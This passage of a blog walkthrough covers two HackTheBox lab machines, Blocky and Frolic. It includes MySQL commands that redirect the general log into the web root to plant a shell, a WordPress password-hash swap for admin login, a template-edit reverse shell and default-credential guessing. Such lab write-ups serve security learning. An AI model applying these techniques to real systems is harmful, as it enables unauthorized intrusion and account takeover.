loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There are many ways to get RCE from the backend.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0321.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Writing files was banned.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;show&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;variables&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;like&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;%general%&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&#9;&lt;/span&gt;&lt;span class="c1"&gt;--Check the configuration, whether logging is enabled, and the default MySQL log path; save the original path for restoration&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;set&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;global&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;general_log&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;on&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&#9;&#9;&lt;/span&gt;&lt;span class="c1"&gt;--Enable logging, which is disabled by default; leaving it enabled can create a very large file&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;set&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;global&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;general_log_file&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/var/www/html/info.php&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&#9;&#9;&lt;/span&gt;&lt;span class="c1"&gt;--Set the log path&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This method could still write, but the absolute path was always wrong. I then spent a long time trying to find the absolute path.&lt;/p&gt;&#10;&lt;p&gt;Eventually I ran out of options and suddenly realized that if phpMyAdmin couldn&amp;rsquo;t write a shell, I could use the WordPress backend to find the absolute path—or simply get a shell through the backend itself.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0322.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Change the first field to md5 and put the password in the second.&lt;/p&gt;&#10;&lt;p&gt;It automatically generates a salted password. I generated this one from password:&lt;/p&gt;&#10;&lt;p&gt;$P$Bmf0.aAqKmYZ9zmcrtFLx8kjh32HaT1&lt;/p&gt;&#10;&lt;p&gt;It can be used directly to log in as Notch/password.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0323.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The template could be edited directly. I constructed the URL and got a reverse shell.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://blocky.htb/wp-content/themes/twentyseventeen/front-page.php" target="_blank" rel="noopener"&#10; &gt;http://blocky.htb/wp-content/themes/twentyseventeen/front-page.php&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0324.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Once I was in, the first thing I did was check the absolute path. This was the path I had entered from the beginning, so why couldn&amp;rsquo;t SQL write to it?&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0325.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It was obvious now: the web directory didn&amp;rsquo;t grant write permission to other users, so naturally it couldn&amp;rsquo;t write there.&lt;/p&gt;&#10;&lt;p&gt;Time for privilege escalation and information gathering.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0326.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was a user named notch. I had deleted its password from the database. If that password could be cracked, perhaps I could su to it here.&lt;/p&gt;&#10;&lt;p&gt;Nothing was certain, so I checked each possibility. sudo was unusable for now because it required a password.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0327.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This kernel looked very familiar. I uploaded an exploit script directly.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0328.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0329.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done. It was conventional penetration testing all the way through, with no unexpected services or anything else.&lt;/p&gt;&#10;&lt;p&gt;I did fall into quite a few traps, though, which wasted a lot of time. I need to pick up the pace.&lt;/p&gt;&#10;&lt;h2 id="17frolic"&gt;&lt;a href="#17frolic" class="header-anchor"&gt;&lt;/a&gt;17.Frolic&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0330.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0331.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0332.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0333.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was nothing on SMB.&lt;/p&gt;&#10;&lt;p&gt;Port 1880:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0334.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was nothing there, and directory brute-forcing only returned 401. I then guessed the password correctly: admin/password, sent to the /auth/token endpoint.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0335.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Requesting it directly returned nothing.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0336.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After modifying the request, it returned 401. I couldn&amp;rsquo;t find anything else in Node-RED. These were the directory brute-force results.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0337.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Port 9999:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0338.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;/admin used client-side validation.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0339.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0340.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This is what appears after a successful login.&lt;/p&gt;&#10;&lt;p&gt;/test is phpinfo.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0341.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://10.10.10.111:9999/backup/" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.111:9999/backup/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This directory contains three things: user.txt, password.txt, and the /loop directory.&lt;/p&gt;&#10;&lt;p&gt;The credentials from user/password were admin/imnothuman.&lt;/p&gt;&#10;&lt;p&gt;I couldn&amp;rsquo;t find a use for them.&lt;/p&gt;&#10;&lt;p&gt;The other directories, /loop and /dev, both returned 403.&lt;/p&gt;&#10;&lt;p&gt;There was also UDP port 137. I searched for and tried a PoC, but it had no effect.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0342.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I brute-forced both 403 directories because I hadn&amp;rsquo;t enabled recursion.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0343.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0344.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found a directory and accessed it successfully, but none of the passwords I had obtained could log in.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0345.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0346.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There were lots of exploits, so this was probably the real entry point. However, I didn&amp;rsquo;t know the version. I could either try every exploit or look for the version.&lt;/p&gt;&#10;&lt;p&gt;I deliberately downloaded a version from GitHub to compare.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0347.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Every directory&amp;rsquo;s index.html was empty, so I couldn&amp;rsquo;t find the version number.&lt;/p&gt;&#10;&lt;p&gt;Then let&amp;rsquo;s just try exploits, following this tutorial: &lt;a class="link" href="https://cloudker.github.io/web-security/2017/05/15/PlaySms-1.4%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90" target="_blank" rel="noopener"&#10; &gt;https://cloudker.github.io/web-security/2017/05/15/PlaySms-1.4%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://10.10.10.111:9999/playsms/index.php?app=main&amp;amp;inc=core_auth&amp;amp;route=register" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.111:9999/playsms/index.php?app=main&amp;amp;inc=core_auth&amp;amp;route=register&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Registration is available here.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0348.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0349.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I was banned, but at least I now knew the directory structure. Surely I wasn&amp;rsquo;t expected to discover a new vulnerability; this should still be exploitable with an n-day.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0350.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I&amp;rsquo;ll summarize them in reverse order.&lt;/p&gt;&#10;&lt;p&gt;48199.txt requires a login and is Metasploit code.&lt;/p&gt;&#10;&lt;p&gt;42038.txt requires logging in as a normal user, but we already tried and couldn&amp;rsquo;t register.&lt;/p&gt;&#10;&lt;p&gt;44599.rb is a Metasploit script, so I skipped it.&lt;/p&gt;&#10;&lt;p&gt;42044.txt only requires a normal user login and says registration is possible, but we couldn&amp;rsquo;t register.&lt;/p&gt;&#10;&lt;p&gt;42003.txt also requires a normal user login.&lt;/p&gt;&#10;&lt;p&gt;The path in 17792.txt didn&amp;rsquo;t exist on the site or in my source-tree copy. This basically confirmed that the target&amp;rsquo;s version was newer than the one targeted by 17792.txt, meaning newer than 0.9.9.2.&lt;/p&gt;&#10;&lt;p&gt;None of the bundled exploits worked.&lt;/p&gt;&#10;&lt;p&gt;I searched Google and looked for default credentials.&lt;/p&gt;&#10;&lt;p&gt;Several PoCs failed, and the default admin:admin credentials didn&amp;rsquo;t work.&lt;/p&gt;&#10;&lt;p&gt;At this point I suspected it was another dead end like the earlier ones, with no use at all.&lt;/p&gt;&#10;&lt;p&gt;In the end, this was the only directory I found.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0351.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I still hadn&amp;rsquo;t tried SSH, so I went back to test it, but that also failed.&lt;/p&gt;&#10;&lt;p&gt;I tried all three passwords against Samba as well, but none worked, and there were no other shares to connect to.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0352.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Directory brute-forcing gave another result: loop seemed to repeat through many levels, so I kept appending loop to the path.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import requests&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;headers = {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Host&amp;#39;: &amp;#39;10.10.10.111:9999&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;User-Agent&amp;#39;: &amp;#39;Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Accept&amp;#39;: &amp;#39;text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Accept-Language&amp;#39;: &amp;#39;en-US,en;q=0.5&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Accept-Encoding&amp;#39;: &amp;#39;gzip, deflate&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Connection&amp;#39;: &amp;#39;close&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Cookie&amp;#39;: &amp;#39;PHPSESSID=gqpklpimfs5kh12tddv3gjgs06&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Upgrade-Insecure-Requests&amp;#39;: &amp;#39;1&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;i = 1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;url = &amp;#34;http://10.10.10.111:9999/loop&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;response = requests.get(url=url,headers=headers)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;while response.status_code == 403:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; url += &amp;#34;/loop&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; response = requests.get(url=url, headers=headers)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; i += 1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(i,response.status_code,url)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;print(response.status_code)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;print(response.text)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;print(url)&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0353.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The 42nd level finally returned something. Although the response was 404, I could continue brute-forcing it.&lt;/p&gt;&#10;&lt;p&gt;I continued brute-forcing the final loop directory. I suddenly had another idea: with this many pages, something had to be hidden in the source or JavaScript files, so I continued digging through them.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0354.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This endpoint also had a CSRF token that could be brute-forced, though that would require another script.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0355.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was a hint at the very bottom.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0356.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Malay.&lt;/p&gt;&#10;&lt;p&gt;I went through everything. The only hidden content was the material above.&lt;/p&gt;&#10;&lt;p&gt;I had explored everything I could, except the incomprehensible encrypted content in succes.html from the beginning.&lt;/p&gt;&#10;&lt;p&gt;At this point I was 100% sure it had to be examined, so I started Googling.&lt;/p&gt;&#10;&lt;p&gt;I pasted all of the following into Google and got a result:&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;&amp;hellip;.. &amp;hellip;.. &amp;hellip;.. .!?!! .?&amp;hellip; &amp;hellip;.. &amp;hellip;.. &amp;hellip;?. ?!.?. &amp;hellip;.. &amp;hellip;.. &amp;hellip;.. &amp;hellip;.. &amp;hellip;.. ..!.? &amp;hellip;.. &amp;hellip;.. .!?!! .?&amp;hellip; &amp;hellip;.. ..?.? !.?.. &amp;hellip;.. &amp;hellip;.. &amp;hellip;.! &amp;hellip;.. &amp;hellip;.. .!.?. &amp;hellip;.. .!?!! .?!!! !!!?. ?!.?! !!!!! !&amp;hellip;! &amp;hellip;.. &amp;hellip;.. .!.!! !!!!! !!!!! !!!.? &amp;hellip;.. &amp;hellip;.. &amp;hellip;.. ..!?! !.?!! !!!!! !!!!! !!!!? .?!.? !!!!! !!!!! !!!!! .?&amp;hellip; &amp;hellip;.. &amp;hellip;.. &amp;hellip;.! ?!!.? &amp;hellip;.. &amp;hellip;.. &amp;hellip;.. .?.?! .?&amp;hellip; &amp;hellip;.. &amp;hellip;.. &amp;hellip;!. !!!!! !!.?. &amp;hellip;.. .!?!! .?&amp;hellip; &amp;hellip;?. ?!.?. &amp;hellip;.. ..!.? &amp;hellip;.. ..!?! !.?!! !!!!? .?!.? !!!!! !!!!. ?&amp;hellip;. &amp;hellip;.. &amp;hellip;.. &amp;hellip;!? !!.?! !!!!! !!!!! !!!!! ?.?!. ?!!!! !!!!! !!.?. &amp;hellip;.. &amp;hellip;.. &amp;hellip;.. .!?!! .?&amp;hellip; &amp;hellip;.. &amp;hellip;.. &amp;hellip;?. ?!.?. &amp;hellip;.. !&amp;hellip;. &amp;hellip;.. ..!.! !!!!! !.!!! !!&amp;hellip; &amp;hellip;.. &amp;hellip;.. &amp;hellip;.! .?&amp;hellip; &amp;hellip;.. &amp;hellip;.. &amp;hellip;.! ?!!.? !!!!! !!!!! !!!!! !?.?! .?!!! !!!!! !!!!! !!!!! !!!!! .?&amp;hellip; &amp;hellip;.! ?!!.? &amp;hellip;.. .?.?! .?&amp;hellip; &amp;hellip;.. &amp;hellip;.! .?&amp;hellip; &amp;hellip;.. &amp;hellip;.. ..!?! !.?.. &amp;hellip;.. &amp;hellip;.. ..?.? !.?.. !.?.. &amp;hellip;.. ..!?! !.?.. &amp;hellip;.. .?.?! .?&amp;hellip; .!.?. &amp;hellip;.. .!?!! .?!!! !!!?. ?!.?! !!!!! !!!!! !!&amp;hellip; &amp;hellip;.. &amp;hellip;!. ?&amp;hellip;. &amp;hellip;.. !?!!. ?!!!! !!!!? .?!.? !!!!! !!!!! !!!.? &amp;hellip;.. ..!?! !.?!! !!!!? .?!.? !!!.! !!!!! !!!!! !!!!! !&amp;hellip;. &amp;hellip;.. &amp;hellip;.. &amp;hellip;.. !.!.? &amp;hellip;.. &amp;hellip;.. .!?!! .?!!! !!!!! !!?.? !.?!! !.?.. &amp;hellip;.. &amp;hellip;.! ?!!.? &amp;hellip;.. &amp;hellip;.. ?.?!. ?&amp;hellip;. &amp;hellip;.. &amp;hellip;.. ..!.. &amp;hellip;.. &amp;hellip;.. .!.?. &amp;hellip;.. &amp;hellip;!? !!.?! !!!!! !!?.? !.?!! !!!.? &amp;hellip;.. ..!?! !.?!! !!!!? .?!.? !!!!! !!.?. &amp;hellip;.. &amp;hellip;!? !!.?. &amp;hellip;.. ..?.? !.?.. !.!!! !!!!! !!!!! !!!!! !.?.. &amp;hellip;.. ..!?! !.?.. &amp;hellip;.. .?.?! .?&amp;hellip; .!.?. &amp;hellip;.. &amp;hellip;.. &amp;hellip;.. .!?!! .?!!! !!!!! !!!!! !!!?. ?!.?! !!!!! !!!!! !!.!! !!!!! &amp;hellip;.. ..!.! !!!!! !.?.&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0357.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0358.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Nothing here check /asdiSIAJJ0QWE9JAS&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0359.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Found it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0360.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It was a ZIP file. An ordinary file couldn&amp;rsquo;t begin with PK, whereas every ZIP file does.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0361.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0362.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I tried every password I had obtained.&lt;/p&gt;&#10;&lt;p&gt;The final password was password.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0363.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0364.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It decoded to this:&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;+++++ +++++ [-&amp;gt;++ +++++ 